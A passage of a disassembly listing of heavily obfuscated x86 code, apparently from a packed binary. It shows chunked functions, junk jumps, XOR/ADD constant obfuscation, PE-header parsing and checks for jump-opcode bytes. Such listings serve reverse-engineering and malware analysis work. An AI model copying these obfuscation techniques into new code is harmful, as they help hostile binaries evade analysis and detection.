; sub_426354:loc_42909Ep ; FUNCTION CHUNK AT 0042323C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423350 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423451 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004238BA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00424B60 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424D6D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425270 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00425C05 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00425E20 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00425EC5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00425F00 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004262EB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00426938 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426E07 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004275D2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427927 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A11 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427AB5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428388 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042854C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004285DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042875B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004287E0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428BAC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042909E SIZE 0000000A BYTES xchg edi, [esp+0] pop edi jnb loc_424B60 cmp dword ptr [ebp-1Ch], 66h push offset sub_424B4A jmp loc_4285DA sub_426354 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42636C proc near ; CODE XREF: sub_42325E+B9Ep ; hjohnhn9:004281B4j ; FUNCTION CHUNK AT 00423671 SIZE 0000001C BYTES xchg ecx, [esp+0] pop ecx push ecx push 0F5848676h pop ecx jmp loc_423671 sub_42636C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp edx, 84014F17h jmp loc_4267EC ; --------------------------------------------------------------------------- loc_426388: ; CODE XREF: hjohnhn9:loc_4270CAj test eax, 0A07829E3h jmp loc_427763 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_426393: ; CODE XREF: sub_427AC0+Aj pop ecx xor ecx, 0FA943B2h add ecx, 0CC3B5D4Bh loc_4263A0: ; CODE XREF: sub_425BD2-1CA0j xor ecx, 4FB64A39h xchg ecx, [esp+0] lea eax, [ebp-34h] jmp loc_424251 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4263B1: ; CODE XREF: sub_4279C0-3545j push edi mov edi, edx xchg edi, [esp+4+var_4] push ebp mov ebp, eax xchg ebp, [esp+8+var_8] call sub_4279C0 jmp loc_427FF5 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; =============== S U B R O U T I N E ======================================= sub_4263C7 proc near ; CODE XREF: hjohnhn9:00427224j ; hjohnhn9:00427B83p xchg esi, [esp+0] pop esi mov eax, [ebp-4] call sub_428CE7 sub_4263C7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_427486 loc_4263D3: ; CODE XREF: sub_427486:loc_424E99j jmp nullsub_27 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424C5F loc_4263D8: ; CODE XREF: sub_424C5F+11j jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_424C5F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4263DE: ; CODE XREF: sub_423B05+15B7j jmp loc_428D80 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_4263E3 proc near ; DATA XREF: sub_428F0B-596Do var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004248A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424BCE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425056 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004250A8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004265E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C9B SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00427F10 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427FED SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428A14 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004290A8 SIZE 0000000A BYTES mov eax, ds:dword_42339C or eax, eax jnz loc_427FED jmp loc_4248A6 sub_4263E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_4263F6: ; CODE XREF: sub_4247F4:loc_42634Aj mov [esi], eax pop esi mov eax, [ebp-4] pop ecx pop ebp retn 4 ; END OF FUNCTION CHUNK FOR sub_4247F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_426402: ; CODE XREF: sub_424564:loc_427F75j cmp ds:dword_4252DC[eax*4], 0 jz loc_42755C mov eax, [ebp+var_4] cmp byte ptr [eax], 0CFh jz loc_427555 mov eax, [ebp+var_4] cmp byte ptr [eax], 0E9h jz loc_427555 jmp loc_427FC9 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- loc_42642D: ; CODE XREF: hjohnhn9:0042425Cj and ecx, 695284E5h ; START OF FUNCTION CHUNK FOR sub_42466E loc_426433: ; CODE XREF: sub_42466E:loc_42424Bj add ebx, 49588021h add eax, ebx pop ebx mov [ebp-4], eax mov eax, [ebp-10h] test eax, eax jmp loc_425D3D ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_426449: ; CODE XREF: sub_427DE6:loc_425F06j push 0 call sub_424AAE xor eax, [ebp-8] push offset loc_427CD0 jmp loc_4264B2 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; =============== S U B R O U T I N E ======================================= sub_42645D proc near ; CODE XREF: sub_423B05:loc_425252p ; hjohnhn9:00425F7Cj ; FUNCTION CHUNK AT 0042871E SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push eax ror eax, 11h push offset sub_424831 jmp loc_42871E sub_42645D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_42646F: ; CODE XREF: sub_424698:loc_42469Ej push ecx jmp loc_42893A ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_426475 proc near ; DATA XREF: sub_4275B2+Eo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423027 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004231C3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004234D8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425B6B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425E69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042602D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426E9B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427EA1 SIZE 00000005 BYTES call sub_424AAE xor eax, [ebp-8] mov byte ptr [eax], 5Bh call sub_424AAE xor eax, [ebp-8] inc eax mov edx, [ebp-4] jmp loc_423027 sub_426475 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426491: ; CODE XREF: sub_424819:loc_426A03j ; hjohnhn9:00428AD3j xor edx, 75C89949h add edx, 822762DFh xchg edx, [esp-4+arg_0] push eax pushf push 1C160C50h jmp loc_423394 ; END OF FUNCTION CHUNK FOR sub_424819 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4264AC proc near ; CODE XREF: sub_428183:loc_42335Cj retn sub_4264AC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4264AD: ; CODE XREF: sub_426708+Dj jmp loc_4261BC ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_4264B2: ; CODE XREF: sub_427DE6-198Ej jmp nullsub_41 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; --------------------------------------------------------------------------- loc_4264B7: ; CODE XREF: hjohnhn9:00425D98j jmp loc_428922 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_4264BC: ; CODE XREF: sub_427D9D:loc_42838Dj mov edx, [edx-8] or edx, 40h or eax, edx mov edx, [ebp+8] mov [edx-8], eax jmp loc_423F3D ; END OF FUNCTION CHUNK FOR sub_427D9D ; =============== S U B R O U T I N E ======================================= sub_4264CF proc near ; CODE XREF: sub_4251D3+9p ; hjohnhn9:00428901j ; FUNCTION CHUNK AT 00427392 SIZE 00000015 BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_428AE4 call sub_427486 loc_4264DE: ; CODE XREF: sub_424377+3414j jmp loc_427392 sub_4264CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4264E3: ; CODE XREF: sub_4262C5-26B0j rol eax, 12h loc_4264E6: ; CODE XREF: sub_4262C5:loc_428031j call sub_426CE6 loc_4264EB: ; CODE XREF: sub_428D64-5ECj jmp loc_427C18 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C98 loc_4264F0: ; CODE XREF: sub_425C98+7j jmp loc_42877D ; END OF FUNCTION CHUNK FOR sub_425C98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4264F5: ; CODE XREF: sub_424631-163j jmp loc_424C46 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_4264FA proc near ; CODE XREF: sub_426A78-4F5p ; hjohnhn9:004268AEj ; FUNCTION CHUNK AT 004248D0 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_4279ED push eax ror eax, 9 mov ds:dword_428380, eax jmp loc_4248D0 sub_4264FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- jle loc_428B67 and ebx, 0D4E35CF9h jmp sub_423369 ; =============== S U B R O U T I N E ======================================= sub_426523 proc near ; CODE XREF: hjohnhn9:004249F7j ; sub_425B34+Ap ; FUNCTION CHUNK AT 0042628F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042845E SIZE 0000000F BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-8] mov ecx, 0Ah cdq jmp loc_42628F sub_426523 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426535: ; CODE XREF: sub_424631:loc_424CAAj cmp dword ptr [ebp-14h], 6 setz al call sub_42392D pop ecx jmp loc_426E35 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_426547: ; CODE XREF: sub_424564+8BBj jz loc_427555 ; END OF FUNCTION CHUNK FOR sub_424564 ; START OF FUNCTION CHUNK FOR sub_426C09 loc_42654D: ; CODE XREF: sub_426C09:loc_428F8Ej mov eax, [ebp-4] cmp byte ptr [eax], 0E9h jz loc_427555 ; END OF FUNCTION CHUNK FOR sub_426C09 ; START OF FUNCTION CHUNK FOR sub_4284CB loc_426559: ; CODE XREF: sub_4284CB:loc_427FC9j mov eax, [ebp-4] loc_42655C: ; CODE XREF: sub_427564:loc_428906j jmp loc_423C85 ; END OF FUNCTION CHUNK FOR sub_4284CB ; --------------------------------------------------------------------------- loc_426561: ; DATA XREF: sub_428309+6o pop ebp push 464D8703h pop eax sub eax, 0C8CE68BBh jmp loc_4262D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_426573: ; CODE XREF: sub_426A78+2468j pop edi push 0EC8CA081h loc_426579: ; CODE XREF: sub_426A78:loc_423217j call sub_424877 mov edx, 8D40711Dh call sub_4264FA loc_426588: ; CODE XREF: sub_42841F-916j jg loc_423041 loc_42658E: ; CODE XREF: sub_42841F:loc_423D11j push ebp push esi push edi push ebx jmp loc_4233C8 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- loc_426597: ; CODE XREF: hjohnhn9:004243CFj jnp loc_426B63 mov [ebp+0], eax ; =============== S U B R O U T I N E ======================================= sub_4265A0 proc near ; CODE XREF: sub_423D67-B55p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004270C5 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add eax, 0BAC28E35h xchg eax, [esp-4+arg_0] jmp loc_4270C5 sub_4265A0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_4265B3: ; CODE XREF: sub_424E4F:loc_42872Aj jmp loc_428B82 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4265B8: ; CODE XREF: sub_425BD2+2B37j jmp loc_427253 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- locret_4265BD: ; CODE XREF: hjohnhn9:loc_424723j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428965 loc_4265BE: ; CODE XREF: sub_428965+10j jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_428965 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4265C3: ; CODE XREF: sub_42363F+198Cj jmp loc_426FB8 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4265C8: ; CODE XREF: sub_4231AD+1B52j jmp loc_427FA4 ; END OF FUNCTION CHUNK FOR sub_4231AD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265CD proc near ; CODE XREF: hjohnhn9:00426AB9p var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004232EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042352D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004235F0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042403E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00424449 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424737 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00425D6F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00425F4D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426B68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A9C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427FAF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428576 SIZE 00000006 BYTES push ebp mov ebp, esp push edx push ecx pop edx xchg edx, [esp+0] mov esp, ebp jmp loc_424737 sub_4265CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, 0B756ED04h jmp sub_426961 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4265E9: ; CODE XREF: sub_4263E3+1B40j jmp loc_424BCE ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_4265EE: ; CODE XREF: sub_424877-22Bj call sub_428D49 ; END OF FUNCTION CHUNK FOR sub_424877 ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4265F3: ; CODE XREF: sub_4262C5:loc_4262D0j or eax, 20B003h test eax, 40000h jmp loc_428031 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426604 proc near ; CODE XREF: sub_426708j ; FUNCTION CHUNK AT 00428C3F SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp call sub_425DE4 loc_426610: ; DATA XREF: sub_424631-14AEo or dword ptr [eax-8], 8 jmp loc_428C3F sub_426604 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426619: ; CODE XREF: sub_424631+3178j ; sub_424631+3185j jnb loc_423EE2 cmp dword ptr [ebp-10h], 0 jnz loc_42516C mov eax, [ebp+8] push eax jmp loc_424CAA ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_426632: ; CODE XREF: hjohnhn9:00427B75j jns loc_426796 ; =============== S U B R O U T I N E ======================================= sub_426638 proc near ; CODE XREF: sub_423BC3:loc_423388p ; FUNCTION CHUNK AT 004230FD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427F44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F5F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push edx push 2625621Bh pop edx jmp loc_427F5F sub_426638 endp ; --------------------------------------------------------------------------- and edi, eax jmp loc_423AF1 ; --------------------------------------------------------------------------- locret_42664F: ; CODE XREF: hjohnhn9:00428BA5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426650: ; CODE XREF: sub_424631-A7Ej jmp loc_424314 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426655: ; CODE XREF: sub_424161-603j mov eax, ebp pop ebp and eax, 43C3D247h rol eax, 0Ah add eax, 58B6A62Ch call sub_427C9B ; END OF FUNCTION CHUNK FOR sub_424161 ; START OF FUNCTION CHUNK FOR sub_424B4A loc_42666C: ; CODE XREF: sub_424B4A+11j jmp loc_425ED0 ; END OF FUNCTION CHUNK FOR sub_424B4A ; =============== S U B R O U T I N E ======================================= sub_426671 proc near ; CODE XREF: hjohnhn9:00424096j ; sub_4262C5+6p ; FUNCTION CHUNK AT 0042316A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00423FCD SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426019 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042631C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427895 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428551 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp push ecx mov esp, ebp jmp loc_426019 sub_426671 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_426685: ; CODE XREF: sub_42387A:loc_4270DDj ; sub_423444+3CB8j rol ecx, 1Ch add ecx, 0AE37F7A3h xchg ecx, [esp+0] jmp sub_4278DC ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- push eax ror eax, 11h mov ds:dword_428B04, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4266A1: ; CODE XREF: sub_425BD2+1689j jmp nullsub_61 ; --------------------------------------------------------------------------- loc_4266A6: ; CODE XREF: sub_425BD2-1433j jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269BD loc_4266AB: ; CODE XREF: sub_4269BD-289Bj jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_4269BD ; --------------------------------------------------------------------------- loc_4266B0: ; CODE XREF: hjohnhn9:00424112j jmp loc_428FDB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266B5 proc near ; CODE XREF: sub_4262C5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424913 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425D55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B04 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A6C SIZE 00000012 BYTES push ebp mov ebp, esp push esi jmp loc_425D55 sub_4266B5 endp ; --------------------------------------------------------------------------- loc_4266BE: ; CODE XREF: hjohnhn9:00423E5Fj jz sub_4283C9 rol ebp, 1Eh jmp sub_427A58 ; --------------------------------------------------------------------------- loc_4266CC: ; CODE XREF: hjohnhn9:004261A6j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] cmp byte ptr [eax], 2Eh jnz loc_426F68 mov eax, [ebp-20h] jmp loc_426102 ; --------------------------------------------------------------------------- xor edx, 1B2A15EAh xor edx, edi jmp sub_428DF9 ; --------------------------------------------------------------------------- loc_4266F0: ; DATA XREF: sub_427486:loc_424E94o rol eax, 1Ah push offset sub_424A9D jmp locret_425F6D ; --------------------------------------------------------------------------- add edi, 6AE1C4D4h jmp sub_4238CC ; =============== S U B R O U T I N E ======================================= sub_426708 proc near ; CODE XREF: sub_424161-610p ; sub_4240AE+3602j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247A4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004261BC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426311 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004264AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426947 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00426E5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283D8 SIZE 00000008 BYTES jnb sub_426604 push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_4264AD sub_426708 endp ; --------------------------------------------------------------------------- loc_42671A: ; CODE XREF: hjohnhn9:loc_428B6Cj or esi, 0B73C976Fh add esi, 8457B61h mov esi, [esi] xchg esi, [esp] jmp locret_427E75 ; --------------------------------------------------------------------------- jb loc_4287BA jmp loc_42417B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E94 loc_42673C: ; CODE XREF: sub_425E94+Aj jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_425E94 ; =============== S U B R O U T I N E ======================================= sub_426741 proc near ; CODE XREF: sub_42774F+4p mov dword ptr [eax], 0 locret_426747: ; CODE XREF: hjohnhn9:loc_424F1Aj retn sub_426741 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_426749 proc near ; CODE XREF: sub_4284CB+18p ; FUNCTION CHUNK AT 0042373A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004281F8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428E46 SIZE 0000001F BYTES push ebp jmp loc_428E46 sub_426749 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42441D loc_42674F: ; CODE XREF: sub_42441D+Dj shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] push offset loc_426AC3 jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_42441D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426762: ; CODE XREF: sub_423CDB:loc_424BB4j mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_4244EE mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] jmp loc_425076 ; END OF FUNCTION CHUNK FOR sub_423CDB ; =============== S U B R O U T I N E ======================================= sub_42677F proc near ; CODE XREF: sub_424A28:loc_427ACFj ; sub_424A28+4492j var_14 = dword ptr -14h var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00423C56 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F33 SIZE 00000007 BYTES push ebp push ebp mov ebp, esi xchg ebp, [esp+8+var_8] push edi push ebx push edx jmp loc_423C56 sub_42677F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_42678E: ; CODE XREF: sub_427994-3F94j mov eax, [eax] cmp dword ptr [eax], 4550h loc_426796: ; CODE XREF: hjohnhn9:loc_426632j jnz loc_42476D jmp loc_427904 ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- jnb loc_427F49 jmp loc_427790 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4267AC: ; CODE XREF: sub_425CB3:loc_427B97j add ecx, 5089408Eh xor ecx, 3DE8ABC3h xchg ecx, [esp+0Ch+var_C] push eax lea eax, sub_428F4A push eax push 0 push 0 jmp loc_427860 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_4267CC: ; CODE XREF: sub_42851A+446j pop ecx mov eax, ds:dword_428384 or eax, eax jnz loc_423692 jmp loc_4269E6 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4267E0: ; CODE XREF: sub_428477+4j cmp ds:dword_423954, 0 call sub_424631 loc_4267EC: ; CODE XREF: hjohnhn9:00426383j jmp loc_42395D ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_4267F1: ; CODE XREF: sub_423CDB+10j jz loc_4244EE call nullsub_2 loc_4267FC: ; CODE XREF: sub_423B05+15Cj ; sub_425029:loc_4270BBj ... jo loc_426268 xor eax, eax call sub_4250C3 loc_426809: ; CODE XREF: sub_4264CF+ED3j jmp loc_426B1F ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_42680E: ; CODE XREF: sub_4237F4+45E7j rol eax, 12h push edi mov edi, eax xchg edi, [esp+0] call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_42681D: ; CODE XREF: sub_427D6A-2C33j ; sub_4244F5:loc_425E44j ... push offset loc_424DD7 jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; =============== S U B R O U T I N E ======================================= sub_426827 proc near ; DATA XREF: sub_425BD2-1438o dec dword ptr [ebp-10h] inc dword ptr [ebp-4] call sub_426C09 locret_426832: ; CODE XREF: sub_4279C8:loc_429013j retn sub_426827 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426833: ; CODE XREF: sub_42304F+40C5j jmp loc_4243F2 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- shr eax, 17h jmp loc_4278B7 ; --------------------------------------------------------------------------- sbb edi, ebx jmp sub_426BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_426847: ; CODE XREF: sub_427032:loc_427E4Fj call sub_426859 jnz loc_425B24 loc_426852: ; CODE XREF: sub_426E8C:loc_42804Bj mov eax, ebx jmp loc_425B26 ; END OF FUNCTION CHUNK FOR sub_427032 ; =============== S U B R O U T I N E ======================================= sub_426859 proc near ; CODE XREF: sub_426E8C-25ABp ; sub_427032:loc_426847p ... ; FUNCTION CHUNK AT 0042898F SIZE 00000005 BYTES mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] cmp eax, 7C61090Eh jmp loc_42898F sub_426859 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_42686B: ; CODE XREF: sub_4275A3+Aj jmp loc_426134 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426870: ; CODE XREF: sub_427C9B-2D1Bj jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426875: ; CODE XREF: sub_424819:loc_426B97j jnz loc_428ED0 loc_42687B: ; CODE XREF: sub_428436+5j jmp nullsub_50 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- jns loc_428626 ror edx, 8 loc_426889: ; CODE XREF: hjohnhn9:004281DFj jmp loc_428ED0 ; --------------------------------------------------------------------------- loc_42688E: ; CODE XREF: hjohnhn9:loc_4249BAj mov edx, [ebp+8] or [edx-8], eax ; START OF FUNCTION CHUNK FOR sub_424631 loc_426894: ; CODE XREF: sub_428C4E:loc_425EA4j ; sub_426604:loc_428C3Fj ... jo loc_4233F8 cmp dword ptr [ebp-14h], 4 jnz loc_424F28 loc_4268A4: ; CODE XREF: hjohnhn9:00424461j mov eax, [ebp+8] jmp loc_4243ED ; END OF FUNCTION CHUNK FOR sub_424631 ; 